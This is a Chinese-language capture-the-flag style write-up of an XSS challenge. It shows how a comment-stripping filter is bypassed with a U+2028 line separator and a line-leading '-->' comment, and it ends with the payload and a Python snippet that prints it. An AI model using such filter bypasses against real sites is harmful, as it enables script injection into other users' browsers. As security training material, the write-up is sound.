题目
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
解题思路
绕过换行过滤
这题一开始就把我们输入的内容都放到 <script>
标签里面了,换言之我们可以直接注入 JS 代码。
但实际上所输入的内容都在 行注释 //
后面,即使注入了 JS 也被注释掉,无法执行。
很明显要想办法把我们注入的内容换行,但是又题目把 回车换行符 \r\n
都过滤掉了,无法直接换行:
虽然 ASCII 字符的换行符被过滤了,但是在 JS 里面是可以直接使用 Unicode 字符的,即可以使用 Unicode 的换行符进行绕过。查一下 Unicode 空字符的编码表,其中换行符的编码是 \u000A
和 \u2028
。
但是 \u000A
等价于 ASCII 的 \n
,前面知道它被过滤了无法使用,所以可以使用 \u2028
作为替代。
Unicode 编码 | 转义字符 | 含义 |
---|---|---|
\u0008 |
\b |
Backspace |
\u0009 |
\t |
TAB |
\u000A |
\n |
换行符 |
\u000B |
\v |
垂直制表符 |
\u000C |
\f |
换页符 |
\u000D |
\r |
回车符 |
\u0022 |
\" |
双引号 " |
\u0027 |
\' |
单引号 ' |
\u005C |
\\ |
反斜杠 \ |
\u00A0 |
不间断空格 | |
\u2028 |
行分隔符 | |
\u2029 |
段落分隔符 | |
\uFEFF |
字节顺序标记 |
关于如何输入 \u2028
字符,后面再说。
这里先假设我们已经成功使用 \u2028
字符进行换行,跳出了 //
行注释。
那么我们预期用于完成挑战的 JS 代码应该是这样的:
<script>
// console.log("
prompt(1)");
</script>
但事实上这段代码由于语法错误,prompt(1)
是无法执行的,原因是末尾的 ");
。
即使把 ");
换到另一行,依然是语法错误:
<script>
// console.log("
prompt(1)
");
</script>
绕过注释过滤
为了把 ");
处理掉,要么将其闭合,要么将其注释。
但是尖括号 <
、双引号 "
、反斜杠 /
也都被过滤了,所以既没办法提前闭合 </script>
, 也没办法使用另一个函数 fun("
向后闭合引号,当然多行注释 /*
和行注释 //
也没办法使用了,就更不用说 <!--
HTML 注释了(而且在 JS 区域内也没法用)。
这里需要使用到 JS 中的一个注释黑魔法:
在 JS 代码中,当 -->
位于行首时(左侧不能有任何非空字符),那么它相当于行注释。
因此只需要构造这样的代码,就可以成功注释掉 ");
:
<script>
// console.log("
prompt(1)
-->");
</script>
构造 payload
至此我们可以已经知道 payload 应该为:\u2028prompt(1)\u2028-->
但是题目并不会帮我们把 Unicode 编码 \u2028
直接转换为换行符,所以我们需要直接输入这个换行符。
但是使用键盘是无法输入这个换行符的,这里我借助了 python 将其直接打印出来。
python 代码为:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
print('exp-payload:\u2028prompt(1)\u2028-->(after run, copy this line)')
最终得到真正的 payload 如下(注意这个 payload 已经有 Unicode 换行符了,只是看不见罢了):
exp-payload:
prompt(1)
-->
输入这个 payload 即可完成挑战(但是题目输出依然看不见换行效果…)